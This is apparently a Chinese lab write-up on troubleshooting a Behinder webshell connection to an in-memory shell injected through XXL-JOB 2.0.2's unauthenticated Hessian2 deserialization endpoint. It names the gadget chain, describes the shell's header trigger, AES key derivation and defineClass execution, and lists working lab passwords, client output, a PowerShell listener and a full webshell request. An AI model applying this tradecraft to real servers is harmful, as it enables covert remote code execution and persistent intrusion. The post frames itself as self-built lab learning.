ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

新手常犯,内存马连不上冰蝎?查到最后,凶手是 JDK 版本

新手常犯,内存马连不上冰蝎?查到最后,凶手是 JDK 版本 内存马连不上冰蝎查到最后凶手是 JDK 版本一次 XXL-JOB 2.0.2 内存马注入后的排障记录。结论先放前面冰蝎 v4.1 用 JDK 25 启动时会一个请求都不发表现就是连接失败。换成 JDK 8秒连。一、背景目标是 XXL-JOB 2.0.2 的后台利用其未授权的 Hessian2 反序列化入口/xxl-job-admin/api打内存马。服务端Spring Boot 1.5.20 内嵌 Tomcat 8.5.39JDK 8context 为/xxl-job-admin入口/xxl-job-admin/api对应com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler未授权即可反序列化利用链java-chains 的Hessian2Payload → XsltOnlyJdk → JsConvert → BytecodeConvert → JmgGadget内存马通过defineClass把一段字节码塞进 JVM不落地文件然后用冰蝎Behinder连上去操作。注入很顺利问题全都出在连冰蝎这一步。二、现象内存马注入完成后冰蝎配置项值地址http://靶场:8080/xxl-job-admin/api一开始连接密码zNpZlY请求头Accept: rasSLfbCVSQrAhWXdvWW脚本类型jsp / 加密器默认连接失败。界面空白 / 超时没有任何有用报错。三、排障过程3.1 第一步先确认马本身活着不要一上来就怀疑密码、编码、路径。先证明马到底是死是活——写一个山寨冰蝎的 Java 客户端直接按内存马的协议发一条请求看服务端回什么。内存马的协议从字节码逆向出来的是固定的POST 任意路径 请求头: Accept: headerValue 请求体: base64( AES( payload类的字节码 ) ) // 单独一行服务端收到后校验请求头里包含headerValue把session属性u设为passbase64 解码 → AES 解密得到一段 class 字节defineClass加载 →newInstance()→ 调用equals(HashMap{request, response, session})payload 在equals里把结果AES 加密 base64写回 response密钥key MD5(连接密码)[:16]16 个十六进制字符当 ASCII 用。例如密码zNpZlY→7d34f5e14103ac07。山寨客户端本地跑通后打到靶场[*] payload class 6027 bytes, key 7d34f5e14103ac07 [*] HTTP 200 / response 898 bytes ---- raw response (first 400 bytes) ---- Li2VDD8yRSjgrhK/ZguF52ixxy/BEAKVUY7gJjHPpoiAtW39MLOPwGVq2XV52yRmz9tlYaRXlgB3u/OOK4Q!DOCTYPE html htmlheadmeta charsetUTF-8titleError/title... ---- decrypt ---- [X] whole body decrypt failed: Input byte array has incorrect ending byte at 88 [PART] leading base64 run decrypted - PONG|osLinux|key7d34f5e14103ac07|t1790500075295关键信息全在这了马是活的PONG|osLinux|key7d34f5e14103ac07说明它正常执行、正常回数据但密文后面被拼了一段 HTML 错误页整段没法解密 → 冰蝎自然也是这个下场3.2 定位Listener 的顺路踩踏这次注入的是Listener监听器类型的马它有个特点请求进来它先跑跑完请求还会继续往下走。流程是这样的Listener 先触发为了解密它调用了request.getReader()把请求体读走了请求继续往下走落到/api这个 Servlet/api又要调request.getInputStream()读 body同一个请求里getReader()和getInputStream()不能混用 → 直接抛java.lang.IllegalStateException: getReader() has already been called for this requestTomcat 把这个异常做成了错误页拼在密文后面用 curl 一验就明白带上/不带请求头同一个路径对比/zzz 不带 Accept → 404 马没触发 /zzz 带 Accept → 500 马触发了但我发的是空 body解密失败 /api 带 Accept → 200 IllegalStateException: getReader() has already been called3.3 解决响应污染换个没人管的路径既然问题是请求继续走到了/api那就让它走一个不存在的路径没人再来读 body也就不会报错。把地址从/api换成/zzz随便一个不存在的路径同一个山寨客户端再打[*] HTTP 200 / response 88 bytes ---- raw response (first 400 bytes) ---- Li2VDD8yRSjgrhK/ZguF52ixxy/BEAKVUY7gJjHPpoLx3XCTwOrQ5BoQZGhabKyTQWdsPycFwQvoNIwfPQQ ---- decrypt ---- [OK] whole body decrypted - PONG|osLinux|key7d34f5e14103ac07|t1790500199650干净了整段能直接解出PONG。记一笔Listener 类型的马连接地址千万别指到/api这种会读 body 的接口否则响应永远是被污染的。到这一步理论上冰蝎把地址改成/zzz就该连上了。然而——3.4 冰蝎还是连不上而且最诡异的是它一个包都没发继续排查。在冰蝎所在的主机上起一个 TCP 监听看它到底发了什么# 简化版监听 127.0.0.1:9000把收到的原始 HTTP 打印出来$listenerNew-ObjectSystem.Net.Sockets.TcpListener([System.Net.IPAddress]::Loopback,9000)$listener.Start()while($true){$client$listener.AcceptTcpClient()$stream$client.GetStream()$bufNew-Objectbyte[]16384$n$stream.Read($buf,0,$buf.Length)[Text.Encoding]::GetEncoding(ISO-8859-1).GetString($buf,0,$n)$client.Close()}注意一个高频坑监听一定要和冰蝎在同一台机器上。冰蝎在 Windows 主机上跑监听就该开在主机开在 Kali 虚拟机上的话主机上的127.0.0.1是它自己永远抓不到。结果监听器里始终只有我自己 curl 的探活请求冰蝎一条都没有。也就是说冰蝎看起来在连接实际上根本没往外发请求。3.5 抓不到就去看它自己既然行为诡异直接看这个软件的配置和运行状态。1读它的 shell 配置——冰蝎 v4.1 把 shell 列表存在同目录的data.dbSQLite里http://127.0.0.1:9000/zzz 127.0.0.1 zNpZlY jsp Accept: rasSLfbCVSQrAhWXdvWW default http://192.168.1.128:8080/xxl-job-admin/api 192.168.1.128 RdSLyemTjw jsp Accept: QwbtGFvEdYbEWjIsN default配置本身没问题地址、密码、请求头都对。2看它的运行参数它是桌面程序看不到控制台就从进程命令行看Get-CimInstanceWin32_Process-FilterProcessId35460|Select-Object-ExpandProperty CommandLine# C:\Program Files\Java\jdk-25.0.2\bin\javaw.exe -jar ...\Behinder_v4.1.t00ls\Behinder.jar一眼看到问题它用的是 JDK 25。Behinder v4.1 是 2023 年的工具跑在 JDK 25 这种新版本上很可能在真正发请求之前就抛异常/静默失败了。四、根因与修复根因冰蝎 v4.1 跑在 JDK 25 上请求根本发不出去。同一台机器上JAVA_HOME其实指着 JDK 8但冰蝎的启动方式用了 JDK 25。修复用 JDK 8 重新启动冰蝎。Stop-Process-Id 冰蝎PID-Force C:\Program Files\Java\jdk1.8.0_172\bin\javaw.exe-jar Behinder.jar换 JDK 8 之后监听器立刻抓到了冰蝎的完整请求POST /zzz HTTP/1.1 Accept: rasSLfbCVSQrAhWXdvWW Accept-Language: zh-CN,zh;q0.9,en-US;q0.8,en;q0.7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Content-Length: 9856 Connection: Keep-Alive Accept-Encoding: gzip yKTLmdso2qSPdeogPsZNNngmI6xFHJxs... 9856 字节 base64 的 AES payload请求头、请求体都对。把地址指回靶场的/zzz——连接成功。五、踩坑清单可直接抄连接失败先别怀疑密码/编码。先写个最小客户端或发条 curl确认马本身活着、能回数据。AES 密钥不是密码本身是MD5(密码)[:16]。搞错这个会一直解不出来。Listener 类型的马别连/api这类会读 body 的接口。Listener 拦不住请求往下走后面的 Servlet 一读 body 就抛异常Tomcat 把错误页拼在密文后面冰蝎解不了。换一个不存在的路径即可。抓包监听一定要开在冰蝎所在的那台机器上。127.0.0.1指的是本机自己跨机器时此处是最大的坑。桌面工具没反应先看它用什么 Java 跑的。老工具 新 JDK 是经典组合坑。冰蝎 v4.1 请用JDK 8。判断方法Get-CimInstance Win32_Process看命令行或读data.db看配置。抓不到网络流量时换个维度看。读它的配置文件SQLite、截屏 OCR 看界面状态、看进程参数都有用。附内存马协议速查环节说明入口POST请求体 base64(AES(payload类字节码))单独一行触发条件请求头含headerValue如Accept: rasSLfb...密钥MD5(连接密码)[:16]16 字节 ASCII加密AES/ECB/PKCS5Padding执行defineClass(class) → newInstance() → equals(HashMap{request, response, session})回包payload 把结果AES base64写进 response本文所有密码/请求头均为靶场实测值环境为自建、仅供学习。
返回列表